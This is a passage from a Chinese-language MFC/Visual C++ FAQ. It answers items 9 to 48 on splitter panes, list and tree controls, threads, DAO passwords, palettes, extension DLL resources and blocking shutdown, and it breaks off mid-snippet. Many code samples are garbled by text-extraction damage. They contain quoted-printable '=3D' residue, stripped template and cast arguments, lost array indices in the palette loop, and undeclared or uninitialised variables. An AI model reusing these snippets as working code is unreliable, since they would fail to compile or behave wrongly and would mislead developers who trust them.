return (FALSE); } //Make sure the row and col indices are //within bounds if (row >= GetRowCount() || col >= GetColumnCount()) { ASSERT(0); return FALSE; } CWnd* pWnd = GetPane(row, col); if (pWnd == NULL || (!IsWindow(pWnd->m_hWnd))) { ASSERT(0); return FALSE; } pWnd->ShowWindow(SW_HIDE); pWnd->UpdateWindow(); //Set the parent window handle to NULL so that this child window is not //destroyed when the parent (splitter) is destroyed pWnd->SetParent(NULL); return (TRUE); }(9)改变列表控制时发生闪烁现象?我创建了一个简单的对话框,在对话框中设置了一个列表控件,这个控件占用了对话框的全部客户区.对话框是可以改变大小的,因此我要保证列表控件在对话框中维持正确的位置,在对话框的ONSize()事件中我对列表控件使用了MoveWindow(),这起到了作用,但当用户改变对话框的大小时,列表控件不停地闪烁.要解决这个问题,在用MoveWindow之前,先用ShowWindow(SW_HIDE)隐藏列表控件,然后在MoveWindow之后用ShowWindow(SW_SHOW)来显示列表控件.(10)处理列表控件可见项的问题?我在一个列表控件中加入了好多条目.我通过获取某个条目是否可见或最后是哪个条目来进行处理.我看了CListCtrl::GetItem()的帮助,但是没有找到如何判断一个条目是否可见的方法.如果你只想处理可见的条目,你可以用GetTopIndex.它返回最大可见条目的索引值,然后你再用GetCountPerPage来得到在可见区域的条目数.(11)产生线程的问题?我在使用CreateThread时碰到了问题.我想让调用的函数和被调用的函数属于同一个类,结果在我调用CreateThread时得到如下错误:error C2440: 'type cast' : cannot convert from 'unsigned long (__stdcall Cdmi::*)(void *)' to 'unsigned long (__stdcall *)(void *)'方法一:(1)'unsigned long (__stdcall Cdmi::*)(void *)'是指向Cdmi某个成员函数的指针.(2)'unsigned long (__stdcall *)(void *)'仅仅只是一个c形式函数的指针. 编译器无法将(1)转换为(2)是因为c++成员函数取第一个(隐藏)参数"this pointer"作为成员函数,但当是一个静态的成员时则例外.可按如下方法解决.class XMyThread { public: void StartThread(void); virtual UINT ThreadFunction(void); static UINT __bogusthreadfunc(LPVOID lpparam); }; void XMyThread::StartThread() { AfxBeginThread(__bogusthreadfunc,this); } UINT XMyThread::ThreadFunction(void) { //here you do all your real work return 0; } UINT XMyThread::__bogusthreadfunc(LPVOID lpparam) { XMyThread* This = dynamic_cast(lpparam); return This->ThreadFunction(); } for the sake of clairty, I did not add StopThread and I did not save the CWinThread* returned by AfxBeginThread. If you wanted a thread that does other things, simply derive from XMyThread and override ThreadFunction() example: class XAnotherThread : public XMyThread { virtual UINT ThreadFunction(void); }; UINT XAnotherThread :: ThreadFunction(void) { //do some other work here return 0; }/方法二:Cdmi::MonitorFiles()是个静态的成员函数.(12)CFile使用了缓冲区吗?请告诉我CFile到底有没有使用缓冲区来处理文件?CFile没有使用运行库的I/O缓冲例程,从这个意义上讲CFile并没有使用缓冲.但是有可能操作系统在处理文件时使用了缓冲区,如果你完全不需要缓冲区,你可以设置FILE_FLAG_NO_BUFFERING.CFile工作在这种模式下的唯一的方法是CFile::Attach().(13)DAO的密码?我创建了一个使用数据库的mfc应用程序.用类模板生成CDaoRecordset直接打开数据库(不通过ODBC),但问题是我如何打开有密码保护的数据库?方法一:试试下面的代码:DAODBEngine* pDBEngine = AfxDaoGetEngine(); ASSERT(pDBEngine != NULL); COleVariant varUserName (strUserName, VT_BSTRT); COleVariant varPassword (strPassword, VT_BSTRT); DAO_CHECK(pDBEngine->put_DefaultUser (V_BSTR(&varUserName)); DAO_CHECK(pDBEngine->put_DefaultPassword (V_BSTR(&varPassword));方法二:你可以使用CDaoDatabase的Open方法来打开:MyDaoDatabase->Open("C:/MyDatabaseFile.mdb",FALSE,FALSE,";PWD=MyPassWord");btw:不要忘了PWD=前面的;号.(14)如何知道CListBox什么时候滚动了?每次绘制列表框都要重绘某项,通过消息WM_CTLCOLOR从父窗口获得DC颜色.因此每欠列表框的滚动你都可以用WM_CTLCOLOR来检验是否滚动.HBRUSH CParentDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) { // is the control _the_ list box we're interested in? if( nCtlColor == CTLCOLOR_LISTBOX && pWnd->GetDlgCtrlID() == IDC_LIST ) { // if the top index changed, the list box has been scrolled int iTop = ((CListBox*)pWnd)->GetTopIndex(); if( iTop != m_iTopOld ) { // keeps tracking of the top index changes m_iTopOld = iTop; // process scrolling ... } } HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor); return hbr; }使用这种方法可以不必为了实现这个功能而去产生一个继承类.(15)视口的不活动性如何处理?有什么方法使CListView成为类似WM_DIASBLED的风格,或者使它和背景色一致.方法一:你所要做的是处理CListView的WM_SETFOCUS消息,然后在TreeView中调用SetFocus,这样,ListView就永远不会获得焦点.afx_msg void CMyListView::OnSetFocus(CWnd* pOldWnd); { // assuming m_pwndTreeView points to the valid TreeView // on the left side m_pwndTreeView->SetFocus(); }方法二:重载PreTranslateMessage,然后当消息为WM_LBUTTONDOWN或WM_RBUTTONDOWN时返回真即可.(16)如何使用COleClientItem的IDispatch接口?我创建了一个如何使用COleClientItem对象,我想使用它的自动化方法.有什么方法来获得IDispatch的接口?我试过以CCmdTarget为基类的的GetIDispatch函数但却出错,我用过EnableAutomation和GetIDispatch,却什么也没得到.MSDN中有一篇关于这个的文章(TN039).如下的代码也可能是你所需要的:LPDISPATCH CMyClientItem::GetIDispatch() { ASSERT_VALID(this); ASSERT(m_lpObject != NULL); LPUNKNOWN lpUnk = m_lpObject; Run(); // must be running LPOLELINK lpOleLink = NULL; if (m_lpObject->QueryInterface(IID_IOleLink, (LPVOID FAR*)&lpOleLink) == NOERROR) { ASSERT(lpOleLink != NULL); lpUnk = NULL; if (lpOleLink->GetBoundSource(&lpUnk) != NOERROR) { TRACE0("Warning: Link is not connected!/n"); lpOleLink->Release(); return NULL; } ASSERT(lpUnk != NULL); } LPDISPATCH lpDispatch = NULL; if (lpUnk->QueryInterface(IID_IDispatch, &lpDispatch) != NOERROR) { TRACE0("Warning: does not support IDispatch!/n"); return NULL; } ASSERT(lpDispatch != NULL); return lpDispatch; }(17)关于用户自定义的消息使用?我写了一个基于MFC应用程序的对话框,在这个程序中,我创建了等待网络传输数据的线程,一旦该线程接收到数据,它就传送一个用户自定义的消息到对话框,使对话框知道有数据过来.但是为何在CMyDialog::PreTranslateMessage(MSG* pMsg)中能捕捉到WM_MYCMD这个消息,却不能和OnMyCommand相映射?将你所有自定义消息的基类设为WM_APP,而不是WM_USER.(18)在打开一个文档时退出?我有一个mdi程序,在打开文件的处理过程中,我想判断该文档是不是应用程序需要处理的文档,因此,我检测文档中的某个数字是否符合要求,如何在发现不是该文档时出现一个错误提示,然后不打开该文档?给文档设定某个标志,如果文档不是所要的就设定它.然后OnOpenDocument中检测,当发现标志被设定后返回FALSE.(19)在CListCtrl控件中多选择项的删除?如何从在CListCtrl中删除多个选择项?按如下方法处理:如果你的在CListCtrl是m_list,to_delete是个整数数组.i=3D0; POSITION pos=3Dm_list.GetFirstSelectedItemPosition(); if(pos) while(pos) to_delete[i++]=3Dm_list.GetNextSelectedItem(pos);然后用删除保存在to_delete中的项目,用GetSelectedCount来得到已选项的个数.(20)工作线程的登录状态?我使用循环删除了用AfxBeginThread创建的线程的好几个实例.每个线程打开一个iNET连接,打开一个URL并返回结果.我需要找出哪一个或者何时这些线程进入到登录状态.按如下方法处理:(伪代码)// Start Threads for( unsigned u = 0; u < NUMBER_OF_THREADS; u++ ) { ThreadHandleArray[ u ] = AfxBeginThread( ...... )->m_hThread; } DWORD count = NUMBER_OF_THREADS DWORD dwWait; while( count ) { dwWait = ::WaitForMultipleObjects( count, ThreadHandleArray, FALSE, INFINITE ); if( dwWait >= WAIT_OBJECT_0 && dwWait < ( WAIT_OBJECT_0 + count ) ) { dwWait -= WAIT_OBJECT_0; // dwWait now has index to thread that completed do whatever you want to do with it // set array back up for next wait if( dwWait != ( count - 1 ) ) ThreadHandleArray[ dwWait ] = ThreadHandleArray[ count - 1 ]; count--; } }(21)如何增加视图中ActiveX控件的事件处理函数?如果我在对话框中加入微软的网络浏览器,很容易通过类模板加入对事件的处理.但我现在在视图中用m_pBrowser=new CWebBrowser2加入了网络浏览器,我该如何对事件进行处理?到www.vcdj.com(inet章节)去看看,有一篇文章名为"Building a Webbrowser in a Afternoon".如下的代码也可能是你所需要的:#include // For AFX_EVENT def. BOOL OnCmdMsg(UINT nID, int nCode, void* pExtra, AFX_CMDHANDLERINFO* pHandlerInfo) { AFX_EVENT *pEvent = (AFX_EVENT *)pExtra; //If this is a control notification event. if (nCode == CN_EVENT) { // If we have information on this event. if (pEvent) { // Event DISPID is stored at pEvent->m_dispid // Event DISPPARAMS are stored at pEvent->m_pDispParams // Handle the event from here... } } return CWnd::OnCmdMsg(nID, nCode, pExtra, pHandlerInfo); }(22)如何创建一个动态的Tree控件?我想创建一个动态的tree控件,就象弹出窗口一样,但它并不象想象中那么容易.方法一:用CreateWindow(SDK)创建风格为WS_POPUP,WS_CAPTION和WS_TICKFRAME的窗口,并作为父窗口.方法二:创建一个包含Tree控件的对话框.(23)SDI程序开始时不打开文档?我创建了一个SDI应用,但每次启动时它都会打开一个文档("untitled"),如何不让它打开该文档呢?看看InitInstance函数中有没有关于OnFileNew的调用,去掉它即可.(24)List控件中整栏选择?我在处理List控件时碰到了麻烦,我想创建一个ListView,来依据Tree控件的选择同时在ListView和ReportView中显示列表的信息.以下是相关的代码:// Set full line select ListView_SetExtendedListViewStyle(m_plstCustomers->GetSafeHwnd(), LVS_EX_FULLROWSELECT); 按如下方法处理: // -------------------- begin of snippet -------------------------------- bool CCommCtrlUtil32::ListCtrl_ModifyExtendedStyle(CListCtrl& p_rListCtrl, const DWORD p_dwStyleEx, const bool p_bAdd) { HWND t_hWnd = p_rListCtrl.GetSafeHwnd(); DWORD t_dwStyleEx = ListView_GetExtendedListViewStyle(t_hWnd); if(p_bAdd) { if(0 == (p_dwStyleEx & t_dwStyleEx)) { // add style t_dwStyleEx |= p_dwStyleEx; } } else { if(0 != (p_dwStyleEx & t_dwStyleEx)) { // remove style t_dwStyleEx &= ~p_dwStyleEx; } } ListView_SetExtendedListViewStyle(t_hWnd, t_dwStyleEx); return true; }(25)如何重载MRU文件?我创建了一个应用程序可以载入图象文件,但当我点击FILE菜单下MRU文件列表时,却不能从磁盘载入以前曾经打开过的文件.下面是我所能想到的解决方案:(1)在文档类中定义一个成员函数(例如:CMyDoc::Reopen)来处理重新打开这个问题,指明参数和返回值.(2)产生一个CMultiDocTemplate的继承类(如CMyDocTemplate),定义一个构造函数,取和基类相同的参数,不做任何事,只是调用基类的构造函数.(3)重载MatchDocType:/CMyDocTemplate::Confidence CMyDocTemplate::MatchDocType( LPCTSTR lpszPath, CDocument *&rpDocMatch ) { Confidence match = CMultiDocTemplate::MatchDocType(lpszPath, rpDocMatch); if(yesAlreadyOpen == match) // clear enough { ASSERT_KINDOF(CMyDoc, rpDocMatch); ((CMyDoc *) rpDocMatch)->Reopen(/* your parameters */); // you can take any other actions here... } return match; } 当这个函数返回"yesAlreadyOpen"时,你的文档框架将会被激活. --------------------------------------------------(26)CImageList控件中图象橙色被显示为黄色?我使用了一个CImageList控件来装入位图,用于TREE控件,其它的色彩都很正常就是橙色被显示成为黄色.你只能使用系统指定的20种颜色(橙色不包括在内);当然,你也可以用下面的方法来装载位图资源而不受颜色数的限制.HBITMAP LoadResourceBitmap(HINSTANCE hInstance, LPSTR lpString, HPALETTE FAR* lphPalette) { HRSRC hRsrc; HGLOBAL hGlobal; HBITMAP hBitmapFinal = NULL; LPBITMAPINFOHEADER lpbi; HDC hdc; int iNumColors; if (hRsrc = ::FindResource(hInstance, lpString, RT_BITMAP)) { hGlobal = ::LoadResource(hInstance, hRsrc); lpbi = (LPBITMAPINFOHEADER)LockResource(hGlobal); hdc = ::GetDC(NULL); *lphPalette = CreateDIBPalette ((LPBITMAPINFO)lpbi, &iNumColors); if (*lphPalette) { ::SelectPalette(hdc,*lphPalette,FALSE); ::RealizePalette(hdc); } hBitmapFinal = ::CreateDIBitmap(hdc, (LPBITMAPINFOHEADER)lpbi, (LONG)CBM_INIT, (LPSTR)lpbi + lpbi->biSize + iNumColors * sizeof(RGBQUAD), (LPBITMAPINFO)lpbi, DIB_RGB_COLORS ); ::ReleaseDC(NULL,hdc); // ::UnlockResource(hGlobal); // ::FreeResource(hGlobal); } return (hBitmapFinal); } // internally used by LoadResourceBitmap HPALETTE CreateDIBPalette (LPBITMAPINFO lpbmi, LPINT lpiNumColors) { LPBITMAPINFOHEADER lpbi; LPLOGPALETTE lpPal; HANDLE hLogPal; HPALETTE hPal = NULL; int i; lpbi = (LPBITMAPINFOHEADER)lpbmi; if (lpbi->biBitCount <= 8) *lpiNumColors = (1 << lpbi->biBitCount); else *lpiNumColors = 0; // No palette needed for 24 BPP DIB if (lpbi->biClrUsed > 0) *lpiNumColors = lpbi->biClrUsed; // Use biClrUsed if (*lpiNumColors) { hLogPal = GlobalAlloc (GHND, sizeof (LOGPALETTE) + sizeof (PALETTEENTRY) * (*lpiNumColors)); lpPal = (LPLOGPALETTE) GlobalLock (hLogPal); lpPal->palVersion = 0x300; lpPal->palNumEntries = *lpiNumColors; for (i = 0; i < *lpiNumColors; i++) { lpPal->pal PalEntry. peRed = lpbmi->bmiColors.rgbRed; lpPal->palPalEntry.peGreen = lpbmi->bmiColors.rgbGreen; lpPal->palPalEntry.peBlue = lpbmi->bmiColors.rgbBlue; if (i<=10 || i>=246) lpPal->palPalEntry.peFlags = PC_NOCOLLAPSE; else lpPal->palPalEntry.peFlags = 0; } hPal = CreatePalette (lpPal); GlobalUnlock (hLogPal); GlobalFree (hLogPal); } return hPal; }该函数也重载了位图调色板,这个功能被CBitmap::LoadBitmap忽略了(它假定位图只使用20种颜色).因此要保证在DC中有SelectPalette和RealizePalette.(27)无法正确改变应用程序的图标?我有一个基于对话框的应用程序,在初始化时我使用了AfxGetApp()->LoadIcon(IDI_BRIEFCASE)来载入自己的图标,当把程序拷贝到桌面上时,图标是我所期望的.但在资源管理器中的图标却还是MFC的图标.资源管理器仅使用16x16的小图标,可能你在资源编辑器中只修改了32x32的标准图标.你需要重建16x16的小图标.(28)工具条状态的问题?在应用程序中我创建了三个工具条,我想让它们在应用程序启动的时候排成一行正好在主菜单的下面,我该如何去做?在VC CDs上有一个例子:int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct) { //other stuff here... EnableDocking(CBRS_ALIGN_ANY); DockControlBar(&m_wndToolBar,AFX_IDW_DOCKBAR_TOP); DockControlBarLeftOf(&m_wndListToolBar,&m_wndToolBar); return 0; } void CMainFrame::DockControlBarLeftOf(CToolBar* Bar,CToolBar* LeftOf) { CRect rect; DWORD dw; UINT n; // get MFC to adjust the dimensions of all docked ToolBars // so that GetWindowRect will be accurate RecalcLayout(); LeftOf->GetWindowRect(&rect); rect.OffsetRect(1,0); dw=LeftOf->GetBarStyle(); n = 0; n = (dw & CBRS_ALIGN_TOP) ? AFX_IDW_DOCKBAR_TOP :n; n = (dw & CBRS_ALIGN_BOTTOM && n==0) ? AFX_IDW_DOCKBAR_BOTTOM :n; n = (dw & CBRS_ALIGN_LEFT && n==0) ? AFX_IDW_DOCKBAR_LEFT :n; n = (dw & CBRS_ALIGN_RIGHT && n==0) ? AFX_IDW_DOCKBAR_RIGHT :n; // When we take the default parameters on rect, DockControlBar will dock // each Toolbar on a seperate line. By calculating a rectangle, we in effect // are simulating a Toolbar being dragged to that location and docked. DockControlBar(Bar,n,&rect); }(29)在SDI应用程序中使用Active控件?我刚了解到如何在MFC应用程序中使用Active控件,文档上说只能在视图为CFormView和CDialog时使用,但要是其它的情况该怎么办呢?你可以在你应用程序的任何地方使用Active控件,而不仅仅局限于CFormView和CDialog为视图基类的情况.DevStudio通过资源编辑器和对话框模板来使得在上述两个条件下使用Active控件更容易.因此,你也可以在任何视图中使用Active控件,条件是你直接操纵该控件,创建它并手工的布置好它的位置(这也是DevStudio为你所做的事).(30)有RichEdit控件的对话框无法正常显示?我在对话框中放置了一个RichEdit控件,但是对话框却无法正常显示.在你的应用程序InitInstance()中调用了::AfxInitRichEdit()吗?(31)DLL中的模板成员函数?在一个DLL中,我在自己创建的类中使用了模板成员函数来代替预处理宏.但出现以下错误:error C2664: 'double Data::extract(double &)' : cannot convert parameter 1 from 'class CArray' to 'double &'为什么在匹配模板定义时它要寻找一个DOUBLE参数?我觉得你可能是在表达成员函数(内联)时出现了问题,请参照下面的示例:class AFX_EXT_CLASS Data : public CObject //This is not a template { public: Data(); Data(BYTE * buffer,int size); template Data(const CArray& array); template CArray& extract(CArray& array) { CArchive ar(&buffer, CArchive::store); ar >> array; }; double extract(double&); (...) private: CMemFile buffer; }/(32)CFormView中的上下文帮助?我想在基于CFormView类的SDI应用程序中加入真正的上下文帮助,但没有成功.你应该重载CMyFormView类的OnHelpHitTest函数:LRESULT CMyFormView::OnHelpHitTest(WPARAM, LPARAM lParam) { LRESULT lResult = (LRESULT)0x00; CWnd* pWndChild = ChildWindowFromPoint(CPoint(lParam), CWP_ALL|CWP_SKIPINVISIBLE); if (pWndChild && ::IsWindow(pWndChild->m_hWnd)) { lResult = ::GetWindowLong(pWndChild->m_hWnd, GWL_ID); if (lResult) lResult += HID_BASE_COMMAND; } if (lResult == (LRESULT)0x00) lResult = ::GetWindowLong(m_hWnd, GWL_ID) + HID_BASE_RESOURCE; return lResult; }然后你就可以使用平时用的帮助文件了,但你要保证有正确的前缀,请参照TN028:Context-Sensitive Help Support.例如:ID_SOME_MENU_ITEM_OR_COMMAND_BUTTON IDR_SOME_WINDOW_OR_DIALOG IDP_PROMPT IDW_CONTROL_THAT_IS_NOT_A_COMAND_BUTTON你要确认你所使用的控件的ID包含在文件resource.hm中.(33)CArchive类的WriteObject函数问题?谁知道在使用CArchive类的WriteObject函数时,如何避免将类名写入文件吗?WriteObject函数不仅写入了类名,而且还写入PID(请查看TN02),如果你只想写进一个文本文件,并且你也想用串行化,你可以使用文件指针(用GetFile)来存储字符串.或者,你可以使用CFILE类来处理这个问题,如果是文本文件,你也可以用CStdioFile类.(34)RegisterWindowMessage中的BroadcastSystemMessage如何处理?我想用BroadcastSystemMessage来在两个进程之间通讯,我从一个进程发送了一个用RegisterWindowMessage注册过的消息,但在目的进程中却没有收到该消息.我认为你应该在两个进程的最高级窗口中都注册该消息.请看下例:static UINT sBroadcastCommand = ::RegisterWindowMessage( _T("BroadcastCommand")); BEGIN_MESSAGE_MAP( Gui_Top_Level_MainFrame, Gui_MainFrame ) ON_REGISTERED_MESSAGE( sBroadcastCommand, onBroadcastCommand ) END_MESSAGE_MAP() LRESULT Gui_MainFrame :: onBroadcastCommand( UINT aMsg, LPARAM lParam ) { your code... }然后发送进行应该包含:While the sending process would contain: static UINT sBroadcastCommand = ::RegisterWindowMessage( _T("BroadcastCommand")); void Someclass :: someMethod( void ) { ::PostMessage( (HWND)HWND_BROADCAST, sBroadcastCommand, 0, yourMessageId ); }(35)CListCtrl中选择变化时如何获得通知?我在Report View中使用了一个CListCtrl(自绘制类型),我想知道什么时候选择项发生了改变.在选择项变化时,可以使用按钮有效或失效,按如下操作:  加入LVN_ITEMCHANGED消息处理.void CYourClassNameHere::OnItemchangedEventList(NMHDR* pNMHDR, LRESULT* pResult) { NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; *pResult = 0; if (pNMListView->uChanged == LVIF_STATE) { if (pNMListView->uNewState) GetDlgItem(IDC_DELETE)->EnableWindow(TRUE); else GetDlgItem(IDC_DELETE)->EnableWindow(FALSE); } }(36)如何向ATL-COM对象传送一个数组?我想创建一个函数来向ATL-COM对象传送数组.如下代码的方法用于ACTIVEX中,可能对ATL-COM也有启发吧.CoInitialize(NULL); CLSID m_clsid; USES_CONVERSION; ::CLSIDFromString(T2OLE("ROUNDANALOG.RoundAnlgAARCtrl.1"), &m_clsid); IDispatch FAR* pObj = (IDispatch FAR*)NULL; CString str = "UpdateControl"; BSTR bstr = str.AllocSysString(); HRESULT hr = CoCreateInstance(m_clsid, NULL, CLSCTX_ALL, IID_IDispatch, (void**)&pObj); SafeArrayAccessData(psa, (void**)&bstrArray); bstrArray[0] = str.AllocSysString(); bstrArray[1] = str.AllocSysString(); SafeArrayUnaccessData(psa); VARIANTARG* pvars = new VARIANTARG[1]; VariantInit(&pvars[0]); pvars[0].vt = VT_ARRAY|VT_BYREF|VT_BSTR; pvars[0].pparray = &psa; DISPID dispid; hr = pObj->GetIDsOfNames(IID_NULL, &bstr, 1,LOCALE_USER_DEFAULT, &dispid); DISPPARAMS disp = {pvars, &dispid, 1,1}; hr = pObj->Invoke(dispid, IID_NULL, LOCALE_USER_DEFAULT,DISPATCH_PROPERTYPUT,&disp,NULL, NULL, NULL); delete[] pvars; pObj->Release(); CoUninitialize();在你的控制中建立如下并变量参考:void CRoundAnlgAARCtrl::SaveFunc(const VARIANT FAR& var) { // TOD Add your dispatch handler code here ASSERT(var.vt == VT_ARRAY | VT_BYREF | VT_BSTR); SAFEARRAY* psa = *var.pparray; }(37)如何选择CTreeCtrl中的节点文本进行编辑?在向CTreeCtrl中加入一项后,有什么方法可以编辑该节点的文本呢?首先设置你的CcompTreeCtrl具有TVS_EDITLABELS属性.在设计时用控件属性来设置在运行时用GetStyle()/SetStyle()成员函数来设置.然后请看下述代码:HTREEITEM CCompTreeCtrl::AddSet() { static int setCnt =3D 1; HTREEITEM hItem; CString csSet; //create text for new note: New Set 1, New Set 2 ... csSet.Format( _T( "New Set %d" ), setCnt++ ); hItem =3D InsertItem( csSet, IMG_CLOSEDFOLDER, IMG_CLOSEDFOLDER ); if( hItem !=3D NULL ) EditLabel( hItem ); return hItem; }(38)如何改变默认的光标形状?我试着将光标改变为其它的形状和颜色,但却没有变化.在对话框/窗口/你需要的地方加上对WM_SETCURSOR消息的处理.BOOL MyDialog::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) { // TOD Add your message handler code here and/or call default ::SetCursor(AfxGetApp()->LoadCursor(IDC_MYCURSOR)); return TRUE; //return CDialog::OnSetCursor(pWnd, nHitTest, message); }/你没有成功的原因是因为窗口类光标风格不能为NULL.(39)如何用键盘滚动分割的视口?我的问题是当我用鼠标滚动分割窗口时,视口滚动都很正常,但用键盘时,却什么也没有发生.在你的视图继承类中加入如下两个函数,假定该类为CScrollerView:void CScrollerView::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags) { BOOL processed; for (unsigned int i=0;i< nRepCnt&&processed;i++) processed=KeyScroll(nChar); if (!processed) CScrollView::OnKeyDown(nChar, nRepCnt, nFlags); } BOOL CScrollerView::KeyScroll(UINT nChar) { switch (nChar) { case VK_UP: OnVScroll(SB_LINEUP,0,NULL); break; case VK_DOWN: OnVScroll(SB_LINEDOWN,0,NULL); break; case VK_LEFT: OnHScroll(SB_LINELEFT,0,NULL); break; case VK_RIGHT: OnHScroll(SB_LINERIGHT,0,NULL); break; case VK_HOME: OnHScroll(SB_LEFT,0,NULL); break; case VK_END: OnHScroll(SB_RIGHT,0,NULL); break; case VK_PRIOR: OnVScroll(SB_PAGEUP,0,NULL); break; case VK_NEXT: OnVScroll(SB_PAGEDOWN,0,NULL); break; default: return FALSE; // not for us // and let the default class // process it. } return TRUE; }(40)如何在线程中处理状态条?在我的应用程序CWnd的继承中有指针指向状态条,用pStatusBar->SetPaneText(0,status,TRUE)在状态条上显示一些文本都很正常.但在第二个线程中调用该函数却不行,出现hwnd警告.当你传送一个CWnd的指针到另外一个线程时,m_hWnd将为空.我的办法是用PostThreadMessage传送消息到状态条的父类,让它对状态条进行处理.(41)如何阻止WINDOWS关闭?我有一个应用程序会不停地工作.当该程序正常运行时,该如何避免用户关掉系统?是不是该用WM_QUERYENDSESSION.是的,在你的主框架窗口类中使用.// in the class header afx_msg BOOL OnQueryEndSession( WPARAM wReserved, LPARAM lEndReason ); // in the Message Map ON_MESSAGE( WM_QUERYENDSESSION, OnQueryEndSession ) // in the class body BOOL CMainFrame::OnQueryEndSession( WPARAM wReserved, LPARAM lEndReason ) { if( lEndReason =3D=3D ENDSESSION_LOGOFF ) { // user is logging off else // Windows is going down return( bCanExit ); }(42)如何使一个按钮Disable?我使用下面代码来Disable一个为ID_BUTTON的按钮,为什么会没有变化.GetDlgItem(IDC_BUTTON)->EnableWindow(FALSE);CWnd类中的EnableWindow函数用来Enable或Disable一个窗口类的对象,因为CButton类继承于类CWnd,所以你可以使用来操作一个按钮.Enable一个基于窗口类的对象可以用以下代码:pWnd->EnableWindow(TRUE); Disable一个对象可用 pWnd->EnableWindow(FALSE);其中pWnd为一个指向窗口对象的指针VC++中消息WM_ENABLE告诉窗口它正在Disable或Enable,但它并不能使一个窗口Enable或Disable.(43)怎样从MFC扩展动态链结库(DLL)中显示一个对话框?我在过去的几天中试着在DLL中定义的函数中显示一个对话框,可是已经在DLL中定义好的对话框资源,在常规DLL调用时,我可以正常的显示出来,为什么在扩展DLL中同样的资源我却不能显示.当你在DLL中使用资源时,有些小细节需要注意,首先,在DLL运行时,必须保存DLL的实例,可以通过AfxInitExtensionModulestatic AFX_EXTENSION_MODULE extensionDLL; extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID) { if (dwReason == DLL_PROCESS_ATTACH) { // Extension DLL one-time initialization if (!AfxInitExtensionModule(extensionDLL, hInstance)) return false; } return(true); }然后,每次使用DLL资源时,你必须改变资源的句柄,使其指向DLL,并保存exe的资源,以便以后正确恢复void get_DLL_resource(void) { /* this function changes the resource handle to that of the DLL */ //这个函数改变资源句柄使其指向DLL if (resource_counter == 0) { save_hInstance = AfxGetResourceHandle(); AfxSetResourceHandle(extensionDLL.hModule); } resource_counter++; }接着你需要其它函数来恢复资源句柄void reset_DLL_resource(void) { /* this function restores the resource handle set by 'get_DLL_resource()' */ if (resource_counter > 0) resource_counter--; if (resource_counter == 0) AfxSetResourceHandle(save_hInstance); }/接下来一点非常重要,只要有可能就必须恢复资源句柄,否则,你将会遇到许多问题.原因是可执行文件必须重画工具条等等,比如说,如果用户移动DLL的对话框,如果资源句柄仍然为DLL的资源,程序就崩溃了,我发现最好恢复句柄的时机在对话框的OnInitDialog()中,这时对话框的模板等已经读出了.(44)想隐藏用户界面怎么办?我编了一个小巧而有趣的工具,当用户使用时我不想让它显示出任何用户界面。听听各位有办法可将视关闭。你可以注册一个新的窗口类型,它拥有除了WS_VISBLE属性外的任何属性,类似CFrameWnd,在PreCreateWindow方法中实现。另外,你能在OnCreate方法中通过设置m_nCmdShow为SW_HIDE来实现,具体方法如下:int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CFrameWnd::OnCreate(lpCreateStruct) == -1) return -1; // hide our app AfxGetApp()->m_nCmdShow = SW_HIDE; return 0; }(45)如何实现SDI与MDI的转换?我想将一个编好的SDI应用程序转换为MDI,很明显要有多处的改变。你可以这样做:建立一个继承于CMDIChidWnd的类,不防设为CChldFrm.在CWinApp中作如下变化。InitInstance() { . ... //instead of adding CSingleDocTemplate // Add CMultiDocTemplate. pDocTemplate = new CMultiDocTemplate( IDR_MAINFRAME, RUNTIME_CLASS(CSDIDoc), RUNTIME_CLASS(CChldFrm), // For Main MDI Frame change this frame window from // CFrameWnd derivative ( i.e. CMainFrame ) // to your CMDIChildWnd derived CChldFrm. RUNTIME_CLASS(CSDIView)); /// After this it is required to create the main frame window // which will contain all the child windows. Now this window is // what was initially frame window for SDI. CMainFrame* pMainFrame = new CMainFrame; if (!pMainFrame->LoadFrame(IDR_MAINFRAME)) return FALSE; m_pMainWnd = pMainFrame; ..... }在从CMDIFrameWnd中继承的类CMainFrame代替CFramWnd后,所有的类都将从CMDIFrame继承,而不是CFrameWnd,编译运行后你就会发现程序已经从SDI变换到MDI。注意:在CMainFram中必须将构造函数从private改为public.否则会出错。(46) CDC中的竖排文本?在OnDraw成员函数中我想让文本竖直对齐,但CDC类似乎不支持该处理方法一:如果你的竖直对齐是指旋转文本的话,下面的代码会对你有帮助:该代码检查一个Check box控制,查看文本是否需要旋转.// m_pcfYTitle is a CFont* to the selected font. // m_bTotateYTitle is a bool (==TRUE if rotated) void CPage1::OnRotateytitle() { LOGFONT lgf; m_pcfYTitle->GetLogFont(&lgf); m_bRotateYTitle= ((CButton*)GetDlgItem(IDC_ROTATEYTITLE))->GetCheck()>0; // escapement is reckoned clockwise in 1/10ths of a degree: lgf.lfEscapement=-(m_bRotateYTitle*900); m_pcfYTitle->DeleteObject(); m_pcfYTitle->CreateFontIndirect(&lgf); DrawSampleChart(); }注意如果你从CFontDialog中选择了不同的字体,你应该自己设定LOGFONT的lfEscapement成员.将初始化后的lfEscapement值传到CFontDialog中.方法二:还有一段代码可参考:LOGFONT LocalLogFont; strcpy(LocalLogFont.lfFaceName, TypeFace); LocalLogFont.lfWeight = fWeight; LocalLogFont.lfEscapement = Orient; LocalLogFont.lfOrientation = Orient; if (MyFont.CreateFontIndirect(&LocalLogFont)) { cMyOldFont = cdc->SelectObject(&MyFont); }/(47)如何激活变灰的弹出菜单?在设计菜单时设定为GRAYED的菜单项,如何在运行时激活它?请看下面的示例代码:void CMyView::OnRButtonDown(UINT nFlags, CPoint point) { CScrollView::OnRButtonDown(nFlags, point); CMenu *menu, *popup; menu = new CMenu(); // load menu from resource file menu->LoadMenu( IDR_POPUPMENU ); popup = menu->GetSubMenu(0); // item 0 is DUMMY UINT nEnable; nEnable = MF_BYCOMMAND|MF_GRAYED; if( your test ) { nEnable = MF_BYCOMMAND|MF_ENABLED; } popup->EnableMenuItem( ID_YOUR_ID, nEnable ); //display menu ClientToScreen(&point); popup->TrackPopupMenu( TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y, this ); delete menu; }(48)线程消息?如何正确地在线程之间传送消息?下面的代码将会帮你的忙:void CThread::OnUserOpen( 